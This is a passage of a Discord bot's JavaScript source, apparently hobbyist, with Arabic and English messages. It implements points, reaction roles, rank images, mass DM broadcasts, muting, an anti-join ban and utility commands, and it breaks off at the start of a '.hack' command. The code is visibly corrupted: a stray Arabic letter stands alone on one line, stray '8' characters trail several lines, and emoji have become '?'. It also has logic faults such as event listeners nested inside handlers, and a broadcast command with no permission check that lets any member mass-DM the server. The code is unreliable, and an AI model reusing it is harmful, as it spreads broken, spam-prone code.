828**:x: | يجب كتابة الأمر بشكل صحيح. **
829** أمثلة للأوامر: **
830**:small_orange_diamond:** .points ${message.author} 1 \`لتغيير نقاط شخص معين \`
831**:small_orange_diamond:** .points ${message.author} +1 \`لزيادة نقاط شخص معين\`
832**:small_orange_diamond:** .points ${message.author} -1 \`لأزالة نقطة من شخص معين \`
833**:small_orange_diamond:** .points ${message.author} 0 \`لتصفير نقاط شخص معين \`
834**:small_orange_diamond:** .points reset \`لتصفير جميع النقاط\``)
835.setFooter('Requested by '+message.author.username, message.author.avatarURL)
836.setColor(`#e60909`)
837if(command == prefix + 'points') {
838
839 if(!message.guild.member(client.user).hasPermission('EMBED_LINKS')) return message.channel.send(':no_entry: | I dont have Embed Links permission.');
840 if(!args[1]) {
841 if(!points) return message.channel.send(embed);
842 var members = Object.values(points);
843 var memb = members.filter(m => m.points >= 1);
844 if(memb.length == 0) return message.channel.send(embed);
845 var x = 1;
846 let pointsTop = new Discord.RichEmbed()
847 .setAuthor('Points:')
848 .setColor('#FBFBFB')
849 .setDescription(memb.sort((second, first) => first.points > second.points).slice(0, 10).map(m => `**:small_blue_diamond:** <@${m.id}> \`${m.points}\``).join('\n'))
850 .setFooter(`Requested by ${message.author.username}`, message.author.avatarURL);
851 message.channel.send({
852 embed: pointsTop
853 });
854 }else if(args[1] == 'reset') {
855 let pointsReset = new Discord.RichEmbed()
856 .setDescription('**:white_check_mark: | تم تصفير جميع النقاط بنجاح**')
857 .setFooter('Requested by '+message.author.username, message.author.avatarURL)
858 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send("You dont have Manage Server permission.");
859 if(!points) return message.channel.send(pointsReset);
860 var members = Object.values(points);
861 var memb = members.filter(m => m.points >= 1);
862 if(memb.length == 0) return message.channel.send(pointsReset);
863 points = {};
864 message.channel.send(pointsReset);
865 }else if(userM) {
866 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send("You dont have Manage Server permission.");
867 if(!points[userM.user.id]) points[userM.user.id] = {
868 points: 0,
869 id: userM.user.id
870 };
871 if(!args[2]) {
872 if(points[userM.user.id].points == 0) return message.channel.send( `${userM.user.username} Not have any points.`);
873 var userPoints = new Discord.RichEmbed()
874 .setColor('#d3c325')
875 .setAuthor(`${userM.user.username} have ${points[userM.user.id].points} points.`);
876 message.channel.send({
877 embed: userPoints
878 });
879 }else if(args[2] == 'reset') {
880 if(points[userM.user.id].points == 0) return message.channel.send(error);
881 points[userM.user.id].points = 0;
882 message.channel.send(`Successfully reset ${userM.user.username} points.`);
883 }else if(args[2].startsWith('+')) {
884 args[2] = args[2].slice(1);
885 args[2] = parseInt(Math.floor(args[2]));
886 if(points[userM.user.id].points == 1000000) return message.channel.send(error);
887 if(!args[2]) return message.channel.send(error);
888 if(isNaN(args[2])) return message.channel.send(error);
889 if(args[2] > 1000000) return message.channel.send(error);
890 if(args[2] < 1) return message.channel.send(error);
891 if((points[userM.user.id].points + args[2]) > 1000000) args[2] = 1000000 - points[userM.user.id].points;
892 points[userM.user.id].points += args[2];
893 let add = new Discord.RichEmbed()
894 .setDescription(`**:small_blue_diamond:** <@${userM.id}> \`${points[userM.user.id].points}\``)
895 .setAuthor('Points:')
896 .setColor('#FBFBFB')
897 .setFooter('Requested by' + message.author.username, message.author.avatarURL)
898 message.channel.send(add);
899 }else if(args[2].startsWith('-')) {
900 args[2] = args[2].slice(1);
901 args[2] = parseInt(Math.floor(args[2]));
902 if(points[userM.user.id].points == 0) return message.channel.send(error);
903 if(!args[2]) return message.channel.send(error);
904 if(isNaN(args[2])) return message.channel.send(error);
905 if(args[2] > 1000000) return message.channel.send(error);
906 if(args[2] < 1) return message.channel.send(error);
907 if((points[userM.user.id].points - args[2]) < 0) args[2] = points[userM.user.id].points;
908 points[userM.user.id].points -= args[2];
909 let rem = new Discord.RichEmbed()
910 .setDescription(`**:small_blue_diamond:** <@${userM.id}> \`${points[userM.user.id].points}\``)
911 .setAuthor('Points:')
912 .setColor('#FBFBFB')
913 .setFooter('Requested by' + message.author.username, message.author.avatarURL)
914 message.channel.send(rem);
915 }else if(!args[2].startsWith('+') || !args[2].startsWith('-')) {
916 args[2] = parseInt(Math.floor(args[2]));
917 if(isNaN(args[2])) return message.channel.send(error);
918 if(args[2] > 1000000) return message.channel.send(error);
919 if(args[2] < 1) return message.channel.send(error);
920 if(points[userM.user.id].points == args[2]) return message.channel.send(`${userM.user.username} points is already ${args[2]}.`);
921 points[userM.user.id].points = args[2];
922 let set = new Discord.RichEmbed()
923 .setDescription(`**:small_blue_diamond:** <@${userM.id}> \`${points[userM.user.id].points}\``)
924 .setAuthor('Points:')
925 .setColor('#FBFBFB')
926 .setFooter('Requested by' + message.author.username, message.author.avatarURL)
927 message.channel.send(set);
928 }
929 }
930 }
931
932});
933
934let emojiss = require("node-emoji");//npm i node-emoji
935client.on("message", msg=>{
936 let newemoji;
937 let stringNew;
938 let roleNew;
939if(msg.content.startsWith(`${prefix}setRole`)){
940if(!msg.member.hasPermission("ADMINISTRATOR")) return msg.reply("you don't have permission").then(s => {s.delete(1600);})
941msg.reply("Mention The Channel Now").then(msgs=>{
942 const filter = response => response.author.id === msg.author.id;
943 msg.channel.awaitMessages(filter, { maxMatches: 1, time: 30000, errors: ['time'] })
944 .then( collected =>{
945 msg.delete();
946 let idC = msg.guild.channels.find(c=>c.id == collected.first().mentions.channels.first().id)
947 if(!idC) return msgs.edit("Cant Find This Channel");
948 idC = idC.id;
949 msgs.edit(`${msg.author}, Write The Emoji You Want`)
950const filter = response => response.author.id === msg.author.id;
951msg.channel.awaitMessages(filter, { maxMatches: 1, time: 30000, errors: ['time'] })
952.then( collected =>{
953if(!emojiss.hasEmoji(collected.first().mentions._content)) return msgs.edit("ادخل ايموجي صحيح !");
954newemoji = collected.first().mentions._content;
955msg.delete();
956msgs.edit(`${msg.author}, Mention The Role You Want`)
957const filter = response => response.author.id === msg.author.id;
958msg.channel.awaitMessages(filter, { maxMatches: 1, time: 30000, errors: ['time'] })
959.then( collected =>{
960let roleW = collected.first().mentions.roles.first()
961if(!roleW) {
962 let embed = new Discord.RichEmbed()
963 .setColor("#42f4f4")
964 .setTitle(`:x: - Mention The Role `);
965 msg.reply(embed).then( z => z.delete(3000)); return
966};
967let role = msg.guild.roles.find(`name`, roleW.name);
968if(!role) {
969 let embed = new Discord.RichEmbed()
970 .setColor("#42f4f4")
971 .setTitle(`:x: - Could't find \`${roleW.name}\` role.`);
972msg.reply(embed).then( msgs => msgs.delete(3000));
973return
974}
975roleNew = role;
976msgs.edit(`${msg.author}, Write The Message`)
977const filter = response => response.author.id === msg.author.id;
978msg.channel.awaitMessages(filter, { maxMatches: 1, time: 30000, errors: ['time'] })
979.then( collected =>{
980stringNew = collected.first().mentions._content;
981let channel = msg.guild.channels.get(idC);
982if(!channel) {
983 let embed = new Discord.RichEmbed()
984 .setColor("#42f4f4")
985 .setTitle(`:x: - Could't find \`${idC}\` Channel.`);
986msg.reply(embed).then( msgs => msgs.delete(3000));
987return
988}
989channel.bulkDelete(100)
990channel.send(`@here || @everyone
991${msg.guild.name}© :arrow_down:
992
993${stringNew}
994`).then( msgA =>{
995msgA.react(newemoji).then(()=>{
996 const Ac = (reaction, user) => reaction.emoji.name === newemoji && !user.bot;
997 const Acc = msgA.createReactionCollector(Ac, {time: 120000});
998 Acc.on("collect", r=>{
999 let member = msg.guild.members.get(r.users.last().id);
1000 if(!member) return;
1001 r.remove(member.user);
1002if(member.roles.find(r=>r.name == roleNew.name)) return;
1003 member.addRole(roleNew);
1004 channel.send(`${member.user}, Done Activated !`).then(z => z.delete(1500));
1005})})})
1006}).catch(e => {console.log(e.message)});
1007}).catch(e => {console.log(e.message)});
1008}).catch(e => {console.log(e.message)});
1009}).catch(e => {console.log(e.message)});
1010})
1011///
1012}});
1013
1014
1015client.on('message', message => {
1016if(message.channel.type === "dm") return;
1017if(message.author.bot) return;
1018if(!p[message.guild.id]) p[message.guild.id] = {
1019 prefix: "."
1020}
1021const prefix = p[message.guild.id].prefix
1022 if (message.content.startsWith(prefix + "setprefix")) {
1023 if(!message.member.hasPermission(`MANAGE_GUILD`)) return;
1024 let newPrefix = message.content.split(' ').slice(1).join(" ")
1025 if(!newPrefix) return;
1026 p[message.guild.id].prefix = newPrefix
1027}
1028
1029
1030});
1031
1032
1033
1034const id = JSON.parse(fs.readFileSync("./id/rank.json", "utf8"));
1035client.on("message", message => {
1036 if (message.author.bot) return;
1037fs.writeFile('./id/rank.json', JSON.stringify(id), (err) => {
1038if (err) console.error(err);
1039});
1040});
1041 client.on('message', message => {
1042 if(!id[message.author.id]) id[message.author.id] ={
1043 textrank: 1,
1044 points: 1
1045 };
1046 if(message.author.bot) return;
1047 id[message.author.id].points = Math.floor(id[message.author.id].points+4);
1048 if(id[message.author.id].points > 10) {
1049 id[message.author.id].points = 10;
1050 id[message.author.id].level = Math.floor(id[message.author.id].level+4);
1051 }
1052 fs.writeFile('./id/rank.json', JSON.stringify(id), (err) => {
1053if (err) console.error(err);
1054});
1055
1056 client.on("message", message => {
1057 if (message.author.bot) return;
1058 if(!message.channel.guild) return;
1059if (message.content.startsWith(prefix + "rank")) {
1060 let user = message.mentions.users.first();
1061 var human = message.mentions.users.first();
1062 var author;
1063 if(human) {
1064 author = human;
1065 } else {
1066 author = message.author;
1067 }
1068 var mentionned = message.mentions.members.first();
1069 var ah;
1070 if(mentionned) {
1071 ah = mentionned;
1072 } else {
1073 ah = message.member;
1074 }
1075 var ment = message.mentions.users.first();
1076 var getvalueof;
1077 if(ment) {
1078 getvalueof = ment;
1079 } else {
1080 getvalueof = message.author;
1081 }
1082 var mentionned = message.mentions.users.first();
1083
1084 var client;
1085 if(mentionned){
1086 var client = mentionned;
1087 } else {
1088 var client = message.author;
1089
1090 }
1091if (!id[getvalueof.id]) id[getvalueof.id] = {textrank: 0,points: 1};
1092 let Image = Canvas.Image,
1093 canvas = new Canvas(400, 200),
1094 ctx = canvas.getContext('2d');
1095 fs.readFile("./id/rank.png", function (err, Background) {
1096 if (err) return console.log(err);
1097 let id = Canvas.Image;
1098 let ground = new Image;
1099 ground.src = Background;
1100 ctx.drawImage(ground, 0, 0, 400, 200);
1101
1102});
1103
1104
1105
1106 let url = getvalueof.displayAvatarURL.endsWith(".webp") ? getvalueof.displayAvatarURL.slice(5, -20) + ".png" : getvalueof.displayAvatarURL;
1107 jimp.read(url, (err, ava) => {
1108 if (err) return console.log(err);
1109 ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
1110 if (err) return console.log(err);
1111
1112 ج
1113 ctx.font = 'bold 18px Arial';
1114 ctx.fontSize = '18px';
1115 ctx.fillStyle = "#000000";
1116 ctx.textAlign = "center";
1117 ctx.fillText(`${getvalueof.username}`, 253, 79);
1118
1119 // N A M E
1120 ctx.font = 'bold 18px Arial';
1121 ctx.fontSize = '18px';
1122 ctx.fillStyle = "#f1f1f1";
1123 ctx.textAlign = "center";
1124 ctx.fillText(`${getvalueof.username}`, 253, 77);
1125
1126
1127
1128 ctx.font = "bold 12px Arial";
1129 ctx.fontSize = '12px';
1130 ctx.fillStyle = "#f1f1f1";
1131 ctx.textAlign = "center";
1132 ctx.fillText(`${id[getvalueof.id].textrank}`, 252, 124);
1133
1134
1135 ctx.font = "bold 12px Arial";
1136 ctx.fontSize = '12px';
1137 ctx.fillStyle = "#f1f1f1";
1138 ctx.textAlign = "center";
1139 ctx.fillText(`${id[getvalueof.id].points}`, 253, 171);
1140
1141
1142 let Avatar = Canvas.Image;
1143 let ava = new Avatar;
1144
1145ava.src = buf;
1146 ctx.beginPath();
1147 ctx.arc(75, 100, 780, 0, Math.PI*2, true);
1148 ctx.closePath();
1149 ctx.clip();
1150 ctx.drawImage(ava, 26, 69, 93, 93);
1151
1152message.channel.sendFile(canvas.toBuffer());
1153
1154});
1155});
1156}
1157});
1158});
1159
1160client.on('message', message => {
1161if(message.author.bot) return;
1162if(message.channel.type === 'dm') return;
1163 if(message.content.startsWith(prefix + 'bc')) {
1164 let filter = m => m.author.id === message.author.id;
1165
1166 let recembed = new Discord.RichEmbed()
1167 .setTitle(`${client.user.username}`)
1168 .setDescription(`
1169 -=-=-=-=-=-=-=-=-=-=
1170 ? Broadcast sends to a specific role without embed
1171
1172 ? Broadcast sends to a specific role with embed
1173
1174 ? Broadcast sends for all members with embed
1175
1176 ? Broadcast sends for all members without embed
1177
1178 ? Broadcast sends for online members only without embed
1179
1180 ? Broadcast sends for online members only with embed
1181
1182 ❌ To Cancel the process
1183 -=-=-=-=-=-=-=-=-=-=
1184 `)
1185
1186 message.channel.sendEmbed(recembed).then(msg => {
1187 msg.react('?')
1188 .then(() => msg.react('?'))
1189 .then(() => msg.react('?'))
1190 .then(() => msg.react('?'))
1191 .then(() => msg.react('?'))
1192 .then(() => msg.react('?'))
1193 .then(() => msg.react('❌'))
1194
1195
1196 let embedmsgFilter = (reaction, user) => reaction.emoji.name === '?' && user.id === message.author.id;
1197
1198 let normalmsgFilter = (reaction, user) => reaction.emoji.name === '?' && user.id === message.author.id;
1199
1200 let cancelFilter = (reaction, user) => reaction.emoji.name === '❌' && user.id === message.author.id;
1201
1202 let onlyroleFilter = (reaction, user) => reaction.emoji.name === '?' && user.id === message.author.id;8
1203
1204 let onlineonlyFilter = (reaction, user) => reaction.emoji.name === '?' && user.id === message.author.id;8
1205
1206 let embedonlineonlyFilter = (reaction, user) => reaction.emoji.name === '?' && user.id === message.author.id;8
1207
1208 let embedonlyroleFilter = (reaction, user) => reaction.emoji.name === '?' && user.id === message.author.id;8
1209
1210 let embedmsg = msg.createReactionCollector(embedmsgFilter, { time: 0 });
1211
1212 let normalmsg = msg.createReactionCollector(normalmsgFilter, { time: 0 });
1213
1214 let onlyrole = msg.createReactionCollector(onlyroleFilter, { time: 0 });
1215
1216 let embedonlyrole = msg.createReactionCollector(embedonlyroleFilter, { time: 0 });
1217
1218 let onlineonly = msg.createReactionCollector(onlineonlyFilter, { time: 0 });
1219
1220 let embedonlineonly = msg.createReactionCollector(embedonlineonlyFilter, { time: 0 });
1221
1222 let cancel = msg.createReactionCollector(cancelFilter, { time: 0 });
1223
1224 embedonlineonly.on('collect', r => {
1225
1226 let msge;
1227 message.channel.send(':pencil: **| Please Write Now The Message To Send :pencil2: **').then(msg => {
1228
1229 message.channel.awaitMessages(filter, {
1230 max: 1,
1231 time: 90000,
1232 errors: ['time']
1233 })
1234 .then(collected => {
1235 collected.first().delete();
1236 msge = collected.first().content;
1237 msg.edit('✅ **| Do You Want A Mention In The Msg ? [yes OR no] **').then(msg => {
1238 message.channel.awaitMessages(filter, {
1239 max: 1,
1240 time: 90000,
1241 errors: ['time']
1242 })
1243 .then(collected => {
1244 if(collected.first().content === 'yes') {
1245 message.channel.send(`**:white_check_mark: The Message Has Been Sent The Members :loudspeaker:**`);
1246
1247
1248 message.guild.members.filter(m => m.presence.status === 'online').forEach(m => {
1249 var bc = new Discord.RichEmbed()
1250 .setColor('RANDOM')
1251 .setTitle(`:mega: New Broadcast`)
1252 .addField('?Server?', message.guild.name)
1253 .addField('?Sender?', message.author.username)
1254 .addField('?Message?', `${msge}`)
1255 .setThumbnail('https://a.top4top.net/p_1008gqyyd1.png')
1256 .setFooter(client.user.username, client.user.avatarURL);
1257 m.send({ embed: bc })
1258 m.send(`${m}`)
1259
1260 })
1261 }})
1262 if(collected.first().content === 'no') {
1263 message.channel.send(`**:white_check_mark: The Message Has Been Sent The Members :loudspeaker:**`);
1264 message.guild.members.filter(m => m.presence.status === 'online').forEach(m => {
1265 var bc = new Discord.RichEmbed()
1266 .setColor('RANDOM')
1267 .setTitle(`:mega: New Broadcast`)
1268 .addField('?Server?', message.guild.name)
1269 .addField('?Sender?', message.author.username)
1270 .addField('?Message?', `${msge}`)
1271 .setThumbnail('https://a.top4top.net/p_1008gqyyd1.png')
1272 .setFooter(client.user.username, client.user.avatarURL);
1273 m.send({ embed: bc })
1274
1275 })
1276 }
1277
1278 })
1279 })
1280 })
1281 })
1282
1283
1284 onlineonly.on('collect', r => {
1285 let msge;
1286 message.channel.send(':pencil: **| Please Write Now The Message To Send :pencil2: **').then(msg => {
1287
1288 message.channel.awaitMessages(filter, {
1289 max: 1,
1290 time: 90000,
1291 errors: ['time']
1292 })
1293 .then(collected => {
1294 collected.first().delete();
1295 msge = collected.first().content;
1296 msg.edit('✅ **| Do You Want A Mention In The Msg ? [yes OR no] **').then(msg => {
1297 message.channel.awaitMessages(filter, {
1298 max: 1,
1299 time: 90000,
1300 errors: ['time']
1301 })
1302 .then(collected => {
1303
1304 if(collected.first().content === 'yes') {
1305message.channel.send(`**:white_check_mark: The Message Has Been Sent The Members :loudspeaker:**`);
1306
1307
1308message.guild.members.filter(m => m.presence.status === 'online').forEach(m => {
1309 m.send(`${msge}`)
1310m.send(`${m}`)
1311
1312 })
1313}
1314if(collected.first().content === 'no') {
1315message.channel.send(`**:white_check_mark: The Message Has Been Sent The Members :loudspeaker:**`);
1316message.guild.members.filter(m => m.presence.status === 'online').forEach(m => {
1317 m.send(`${msge}`)
1318
1319 })}
1320})
1321})
1322 })
1323 })
1324})
1325
1326 embedmsg.on('collect', r => {
1327 let msge;
1328 message.channel.send(':pencil: **| Please Write Now The Message To Send :pencil2: **').then(msg => {
1329
1330 message.channel.awaitMessages(filter, {
1331 max: 1,
1332 time: 90000,
1333 errors: ['time']
1334 })
1335 .then(collected => {
1336 collected.first().delete();
1337 msge = collected.first().content;
1338 msg.edit('✅ **| Do You Want A Mention In The Msg ? [yes OR no] **').then(msg => {
1339 message.channel.awaitMessages(filter, {
1340 max: 1,
1341 time: 90000,
1342 errors: ['time']
1343 })
1344 .then(collected => {
1345 if(collected.first().content === 'yes') {
1346 message.channel.send(`**:white_check_mark: The Message Has Been Sent The Members :loudspeaker:**`);
1347
1348
1349 message.guild.members.forEach(m => {
1350 var bc = new Discord.RichEmbed()
1351 .setColor('RANDOM')
1352 .setTitle(`:mega: New Broadcast`)
1353 .addField('?Server?', message.guild.name)
1354 .addField('?Sender?', message.author.username)
1355 .addField('?Message?', `${msge}`)
1356 .setThumbnail('https://a.top4top.net/p_1008gqyyd1.png')
1357 .setFooter(client.user.username, client.user.avatarURL);
1358 m.send({ embed: bc })
1359 m.send(`${m}`)
1360
1361 })
1362 }})
1363 if(collected.first().content === 'no') {
1364 message.channel.send(`**:white_check_mark: The Message Has Been Sent The Members :loudspeaker:**`);
1365 message.guild.members.forEach(m => {
1366 var bc = new Discord.RichEmbed()
1367 .setColor('RANDOM')
1368 .setTitle(`:mega: New Broadcast`)
1369 .addField('?Server?', message.guild.name)
1370 .addField('?Sender?', message.author.username)
1371 .addField('?Message?', `${msge}`)
1372 .setThumbnail('https://a.top4top.net/p_1008gqyyd1.png')
1373 .setFooter(client.user.username, client.user.avatarURL);
1374 m.send({ embed: bc })
1375
1376 })
1377 }
1378
1379 })
1380 })
1381 })
1382 })
1383
1384
1385
1386
1387
1388
1389 normalmsg.on('collect', r => {
1390 let msge;
1391 message.channel.send(':pencil: **| Please Write Now The Message To Send :pencil2: **').then(msg => {
1392
1393 message.channel.awaitMessages(filter, {
1394 max: 1,
1395 time: 90000,
1396 errors: ['time']
1397 })
1398 .then(collected => {
1399 collected.first().delete();
1400 msge = collected.first().content;
1401 msg.edit('✅ **| Do You Want A Mention In The Msg ? [yes OR no] **').then(msg => {
1402 message.channel.awaitMessages(filter, {
1403 max: 1,
1404 time: 90000,
1405 errors: ['time']
1406 })
1407 .then(collected => {
1408
1409 if(collected.first().content === 'yes') {
1410 message.channel.send(`**:white_check_mark: The Message Has Been Sent The Members :loudspeaker:**`);
1411
1412
1413 message.guild.members.forEach(m => {
1414 m.send(`${msge}`)
1415 m.send(`${m}`)
1416
1417 })
1418 }
1419 if(collected.first().content === 'no') {
1420 message.channel.send(`**:white_check_mark: The Message Has Been Sent The Members :loudspeaker:**`);
1421 message.guild.members.forEach(m => {
1422 m.send(`${msge}`)
1423
1424 })}
1425 })
1426 })
1427 })
1428 })
1429 })
1430
1431 onlyrole.on('collect', r => {
1432 let msge;
1433 let role;
1434 message.channel.send(':pencil: **| Please Write Now The Message To Send :pencil2: **').then(msg => {
1435
1436 message.channel.awaitMessages(filter, {
1437 max: 1,
1438 time: 90000,
1439 errors: ['time']
1440 })
1441
1442 .then(collected => {
1443 collected.first().delete();
1444 msge = collected.first().content;
1445 msg.edit('✅ **| Now Please Write The Role Name**').then(msg => {
1446 message.channel.awaitMessages(filter, {
1447 max: 1,
1448 time: 90000,
1449 errors: ['time']
1450 })
1451
1452 .then(collected => {
1453 collected.first().delete();
1454 role = collected.first().content;
1455 let rolecheak = message.guild.roles.find('name', `${role}`)
1456 msg.edit('✅ **| Do You Want A Mention In The Msg ? [yes OR no] **').then(msg => {
1457 message.channel.awaitMessages(filter, {
1458 max: 1,
1459 time: 90000,
1460 errors: ['time']
1461 })
1462 .then(collected => {
1463
1464 if(collected.first().content === 'yes') {
1465 message.channel.send(`**:white_check_mark: The Message Has Been Sent The Members :loudspeaker:**`);
1466
1467
1468 message.guild.members.filter(m => m.roles.get(rolecheak.id)).forEach(m => {
1469
1470 m.send(`${msge}`)
1471 m.send(`${m}`)
1472
1473 })
1474 }
1475 if(collected.first().content === 'no') {
1476 message.channel.send(`**:white_check_mark: The Message Has Been Sent The Members :loudspeaker:**`);
1477 message.guild.members.filter(m => m.roles.get(rolecheak.id)).forEach(m => {
1478
1479 m.send(`${msge}`)
1480
1481 })}
1482 })
1483 })
1484 })
1485 })
1486 })
1487 })
1488 });
1489
1490
1491
1492 embedonlyrole.on('collect', r => {
1493 let msge;
1494 let role;
1495 message.channel.send(':pencil: **| Please Write Now The Message To Send :pencil2: **').then(msg => {
1496
1497 message.channel.awaitMessages(filter, {
1498 max: 1,
1499 time: 90000,
1500 errors: ['time']
1501 })
1502
1503 .then(collected => {
1504 collected.first().delete();
1505 msge = collected.first().content;
1506 msg.edit('✅ **| Now Please Write The Role Name**').then(msg => {
1507 message.channel.awaitMessages(filter, {
1508 max: 1,
1509 time: 90000,
1510 errors: ['time']
1511 })
1512
1513 .then(collected => {
1514 collected.first().delete();
1515 role = collected.first().content;
1516 let rolecheak = message.guild.roles.find('name', `${role}`)
1517 msg.edit('✅ **| Do You Want A Mention In The Msg ? [yes OR no] **').then(msg => {
1518 message.channel.awaitMessages(filter, {
1519 max: 1,
1520 time: 90000,
1521 errors: ['time']
1522 })
1523 .then(collected => {
1524
1525 if(collected.first().content === 'yes') {
1526 message.channel.send(`**:white_check_mark: The Message Has Been Sent The Members :loudspeaker:**`);
1527
1528
1529 message.guild.members.filter(m => m.roles.get(rolecheak.id)).forEach(m => {
1530 var bc = new Discord.RichEmbed()
1531 .setColor('RANDOM')
1532 .setTitle(`:mega: New Broadcast`)
1533 .addField('?Server?', message.guild.name)
1534 .addField('?Sender?', message.author.username)
1535 .addField('?Message?', `${msge}`)
1536 .setThumbnail('https://a.top4top.net/p_1008gqyyd1.png')
1537 .setFooter(client.user.username, client.user.avatarURL);
1538 m.send({ embed: bc })
1539 m.send(`${m}`)
1540
1541 })
1542 }
1543 if(collected.first().content === 'no') {
1544 message.channel.send(`**:white_check_mark: The Message Has Been Sent The Members :loudspeaker:**`);
1545 message.guild.members.filter(m => m.roles.get(rolecheak.id)).forEach(m => {
1546 var bc = new Discord.RichEmbed()
1547 .setColor('RANDOM')
1548 .setTitle(`:mega: New Broadcast`)
1549 .addField('?Server?', message.guild.name)
1550 .addField('?Sender?', message.author.username)
1551 .addField('?Message?', `${msge}`)
1552 .setThumbnail('https://a.top4top.net/p_1008gqyyd1.png')
1553 .setFooter(client.user.username, client.user.avatarURL);
1554 m.send({ embed: bc })
1555
1556
1557 })}
1558 })
1559 })
1560 })
1561 })
1562 })
1563 })
1564 })
1565 cancel.on('collect', r => {
1566 let cancelembed = new Discord.RichEmbed()
1567 .setTitle('Successfully Canceled :x:')
1568 message.channel.sendEmbed(cancelembed)
1569 embedmsg.stop();
1570 normalmsg.stop();
1571 onlyrole.stop();
1572 embedonlyrole.stop();
1573 embedonlineonly.stop()
1574 onlineonly.stop()
1575 cancel.stop();
1576 })
1577 })
1578 }});
1579
1580client.on('message', async message => {
1581 let mention = message.mentions.members.first();
1582let command = message.content.split(" ")[0];
1583 command = command.slice(prefix.length);
1584 let args = message.content.split(" ").slice(1);
1585 if (message.content === ".unmute") {
1586 if(!message.member.hasPermission("MUTE_MEMBERS")) return message.channel.sendMessage("**You Donot HavePermission Mute_Members**").then(m => m.delete(5000));
1587if(!message.guild.member(client.user).hasPermission("MUTE_MEMBERS")) return message.reply("**I donot Have Permission Mute_Members**").then(msg => msg.delete(6000))
1588
1589 let kinggamer = message.guild.member(message.mentions.users.first()) || message.guild.members.get(args[0]);
1590 if(!kinggamer) return message.channel.send('Mention Someone')
1591
1592
1593 let role = message.guild.roles.find (r => r.name === "Muted");
1594
1595 if(!role || !kinggamer.roles.has(role.id)) return message.channel.sendMessage(`**:information_source:${mention.user.username} لقد تم فك الميوت عنه مسبقا**`)
1596
1597 await kinggamer.removeRole(role)
1598 message.channel.sendMessage(`**:white_check_mark: ${mention.user.username} Unmute> **`);
1599
1600 return;
1601
1602 }
1603
1604});
1605
1606client.on('message', message => {
1607 if(message.content.startsWith(prefix + "antijoin on")) {
1608 if(!message.channel.guild) return;
1609 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
1610antijoin[message.guild.id] = {
1611onoff: 'On',
1612}
1613message.channel.send(`**✅ The AntiJoin Is __??__ !**`)
1614 fs.writeFile("./antijoin.json", JSON.stringify(antijoin), (err) => {
1615 if (err) return console.error(err)
1616 .catch(err => {
1617 console.error(err);
1618 });
1619 });
1620 }
1621
1622 })
1623
1624
1625
1626client.on('message', message => {
1627 if(message.content.startsWith(prefix + "antijoin off")) {
1628 if(!message.channel.guild) return;
1629 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
1630antijoin[message.guild.id] = {
1631onoff: 'Off',
1632}
1633message.channel.send(`**⛔ The AntiJoin Is __???__ !**`)
1634 fs.writeFile("./antijoin.json", JSON.stringify(antijoin), (err) => {
1635 if (err) return console.error(err)
1636 .catch(err => {
1637 console.error(err);
1638 });
1639 });
1640 }
1641
1642 })
1643 client.on('message', message => {
1644 if (!message.channel.guild) return;
1645
1646
1647 if(message.content.startsWith(prefix + "setJoin")) {
1648 let time = message.content.split(" ").slice(1).join(" ");
1649 if(!message.channel.guild) return;
1650 if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
1651if (!time) return message.channel.send('Please Type The Account Created Time [Days]');
1652let embed = new Discord.RichEmbed()
1653.setTitle('**Done The AntiJoin Code Has Been Setup**')
1654.addField('Account Create Time:', `${time}.`)
1655.addField('Requested By:', `${message.author}`)
1656.setThumbnail(message.author.avatarURL)
1657.setFooter(`${client.user.username}`)
1658message.channel.sendEmbed(embed)
1659antijoin[message.guild.id] = {
1660created: time,
1661onoff: 'On',
1662}
1663fs.writeFile("./antijoin.json", JSON.stringify(antijoin), (err) => {
1664if (err) console.error(err)
1665})
1666 }})
1667
1668client.on("guildMemberAdd", async member => {
1669 if(!antijoin[member.guild.id]) antijoin[member.guild.id] = {
1670 onoff: 'Off'
1671 }
1672 if(antijoin[member.guild.id].onoff === 'Off') return;
1673 if(!member.user.bot) return;
1674 let accounttime = `${antijoin[member.guild.id].created}`
1675 let moment2 = require('moment-duration-format'),
1676 moment = require("moment"),
1677 date = moment.duration(new Date() - member.user.createdAt).format("d");
1678
1679 if(date < accounttime) {
1680 member.ban(`Member account age is lower than ${antijoin[member.guild.id].created} days.`)
1681 }
1682 });
1683
1684
1685
1686
1687
1688client.on('message', message => {
1689 if(!message.channel.guild) return;
1690 if (message.content.startsWith(prefix + 'ping')) {
1691 if(!message.channel.guild) return;
1692 var msg = `${Date.now() - message.createdTimestamp}`
1693 var api = `${Math.round(client.ping)}`
1694 if (message.author.bot) return;
1695 let embed = new Discord.RichEmbed()
1696 .setAuthor(message.author.username,message.author.avatarURL)
1697 .setColor('RANDOM')
1698 .addField('**Time Taken:**',msg + " ms ? ")
1699 .addField('**WebSocket:**',api + " ms ? ")
1700 message.channel.send({embed:embed});
1701 }
1702 });
1703
1704 client.on("message", message => {
1705 var prefix = "."
1706 if (!message.content.startsWith(prefix)) return;
1707 let command = message.content.split(" ")[0];
1708 command = command.slice(prefix.length);
1709 if(command === "mcskin") {
1710 const args = message.content.split(" ").slice(1).join(" ")
1711 if (!args) return message.channel.send("** write the skin name **");
1712 const image = new Discord.Attachment(`https://minotar.net/armor/body/${args}`, "skin.png");
1713 message.channel.send(image)
1714 }
1715 });
1716
1717client.on('message', message => {
1718 if(!message.channel.guild) return;
1719var prefix = ".";
1720 if(message.content.startsWith(prefix + 'allbots')) {
1721
1722
1723 if (message.author.bot) return;
1724 let i = 1;
1725 const botssize = message.guild.members.filter(m=>m.user.bot).map(m=>`${i++} - <@${m.id}>`);
1726 const embed = new Discord.RichEmbed()
1727 .setAuthor(message.author.tag, message.author.avatarURL)
1728 .setDescription(`**Found ${message.guild.members.filter(m=>m.user.bot).size} bots in this Server**
1729${botssize.join('\n')}`)
1730.setFooter(client.user.username, client.user.avatarURL)
1731.setTimestamp();
1732message.channel.send(embed)
1733
1734}
1735
1736
1737});
1738
1739
1740
1741
1742client.on('message', message => {
1743 if (message.content.startsWith(prefix + "hack")) {
1744 if (message.author.bot) return
1745 message.delete();
1746 let args = message.content.split(' ').slice(1);
1747 let virusname = args.join(' ');
1748 if (virusname < 1) {
